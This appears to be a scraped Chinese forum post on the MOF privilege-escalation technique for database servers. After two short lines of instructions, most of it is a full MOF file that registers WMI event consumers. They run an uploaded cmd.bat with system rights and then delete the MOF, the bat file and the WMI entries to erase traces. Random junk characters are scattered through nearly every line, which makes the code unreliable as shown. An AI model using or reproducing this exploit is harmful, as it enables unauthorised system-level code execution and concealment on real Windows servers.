这个sql提权MOF需要运行 system下的文件,不能定义路径。
& [" P Z& p- U& Y- A: k- p% i需要将要运行的命令写入到bat上传到system32目录,然后执行。
) a2 X1 Y. V* H7 N& z% A- p# K0 m, _" M' g
这个sql提权MOF需要运行 system下的文件,不能定义路径。- y1 q" D$ O! \0 e4 l) c0 K6 T
需要将要运行的命令写入到bat上传到system32目录,然后执行。
% _7 O e/ ]0 B! v+ V
# i( B7 {6 ?! b+ i6 O: f2 G, Q. h#pragma4 W* }! ?9 U4 J; E
namespace("\\\\.\\root\\cimv2")
& [# q! Z0 ^, J; H4 u class* {* I2 e/ a* v Q2 l- q& d
MyClass547
. @ M* Z5 `- ?- R+ c { [key]
. g3 f5 Z4 q% N5 Q string& b. P. \3 f! \6 z
Name;
0 N5 v% I4 _0 ]2 _+ Y };' ^% ~1 D4 l4 f- F' d
class
* g: c# i- @2 X2 w ActiveScriptEventConsumer
; d5 _! G9 u% t; O, f; K : __EventConsumer { [key]: c" B% w% [0 D
string
% k! D7 n% f( H! f) } Name; [not_null]
5 K6 j# h' ]& {0 g* B string& L2 j+ J+ I" [9 Q1 F6 _
ScriptingEngine; string
8 q+ L p! l0 ]7 G9 s% h5 o ScriptFileName; [template]
/ ]4 z. }* L* ]) l( n% E string1 l/ d6 k5 s& Z8 U& j9 w2 I- b4 e
ScriptText; uint32 KillTimeout;
/ O4 m" t! z+ y O. y% M }; instance of __Win32Provider as $P {0 i4 n% F2 |4 A% Z
Name% H9 P- ~+ F/ Z) ]7 ~. {
=5 U7 J* S/ Z j
"ActiveScriptEventConsumer"; CLSID =: Y# u, v8 j v' q {0 ~- R
"{266c72e7-62e8-11d1-ad89-00c04fd8fdff}";2 A( D( q! e' {$ S, s- C! Q' ]
PerUserInitialization: H5 \5 W% D/ ~8 ?! y# I# j
= TRUE;
3 T1 P' p" V; L: @ }; instance of __EventConsumerProviderRegistration { Provider; Z5 \8 `- U0 h+ ~
= $P; ConsumerClassNames: S. x5 k0 j' f, Y
=
; }6 G( ^) q- L. p {"ActiveScriptEventConsumer"};
" ?: r2 z1 n k% ?( j: K };' l$ f% c0 g2 ]+ F) F
Instance of ActiveScriptEventConsumer
8 a+ r3 u) o3 ~& C+ q as $cons { Name
; }+ }0 B( w1 y" d =% L* s( f6 ]* G$ w( x- ~0 I3 E3 m
"ASEC"; ScriptingEngine6 F' [3 Z5 d% n. U% b! d/ r0 ^
=
& {) |" ~% @% K' D$ W5 ~ "JScript"; ScriptText* m% S; p4 F& r
=5 I" L" A C/ Z2 \" w) D# F. F4 l
"\ntry {var s = new ActiveXObject(\"Wscript.Shell\");\ns.Run(\"cmd.bat\");} catch (err) {};\nsv = GetObject(\"winmgmts:root\\\\cimv2\");try {sv.Delete(\"MyClass547\");} catch (err) {};try {sv.Delete(\"__EventFilter.Name='instfilt'\");} catch (err) {};try {sv.Delete(\"ActiveScriptEventConsumer.Name='ASEC'\");} catch(err) {};"; };( e$ q1 ~) b$ s7 C" q4 y
Instance of ActiveScriptEventConsumer7 P. h- D2 _! t: N
as $cons2 { Name' g' X' F7 B5 b% S9 W P
=. n! ^/ G* m. G _
"qndASEC"; ScriptingEngine- g$ c; Q, A! d3 J" B3 f
=
/ T2 w$ _3 q& m/ H9 k "JScript"; ScriptText4 [7 c* t4 |8 k& c2 G( T2 i
=
V1 m% d ?& E7 A8 ~: y "\nvar objfs = new ActiveXObject(\"Scripting.FileSystemObject\");\ntry {var f1 = objfs.GetFile(\"wbem\\\\mof\\\\good\\\\hBsBa.mof\");\nf1.Delete(true);} catch(err) {};\ntry {\nvar f2 = objfs.GetFile(\"cmd.bat\");\nf2.Delete(true);\nvar s = GetObject(\"winmgmts:root\\\\cimv2\");s.Delete(\"__EventFilter.Name='qndfilt'\");s.Delete(\"ActiveScriptEventConsumer.Name='qndASEC'\");\n} catch(err) {};";( o8 O; E; J+ x/ [- W/ Q
}; instance of __EventFilter as $Filt { Name3 k' r, d$ k/ Q7 [3 b
=4 u8 W) p5 n! U6 ~/ y6 S
"instfilt"; Query2 h$ v1 n& P E7 }+ N
=+ _ m L9 Y; s2 z
"SELECT * FROM __InstanceCreationEvent WHERE TargetInstance.__class = \"MyClass547\""; QueryLanguage
2 i' `' o8 u7 h/ B: |: S =4 Z" R7 u- w; y
"WQL"; }; instance of __EventFilter as $Filt2 { Name% D' H* v! ~* H: M2 _
=
# G) v& C3 _1 U) t3 S "qndfilt"; Query1 C" F7 }8 l; ?$ u0 `$ u' |8 K- r
=
: C! B2 S& M. Z6 [3 N' S, A; a3 { "SELECT * FROM __InstanceDeletionEvent WITHIN 1 WHERE TargetInstance ISA \"Win32_Process\" AND TargetInstance.Name = \"cmd.bat\""; QueryLanguage
: }, h* D" ?0 i" p( r =
: t4 B* e/ n( E( o8 u L& S0 J "WQL"; }; instance of __FilterToConsumerBinding as $bind { Consumer
+ Q. [* `7 Z& q6 D& H8 f. ` = $cons; Filter/ ~ \2 Y4 ]: w1 b3 A
= $Filt;
4 K3 n4 N9 V( S# p- w' C3 b$ x6 z }; instance of __FilterToConsumerBinding as $bind2 { Consumer' I* l/ h8 t c. h/ J2 a u d( H6 ]
= $cons2; Filter
. z2 o* j: l, q0 H; H# _ = $Filt2;0 K6 w t) S( B
}; instance of MyClass547
, u! G# J8 P/ c" F as $MyClass { Name' y% P' h; q$ @+ x: [
=9 d' h! P, A F# g# T
"ClassConsumer";
' `) O( h0 h. S- @ }; |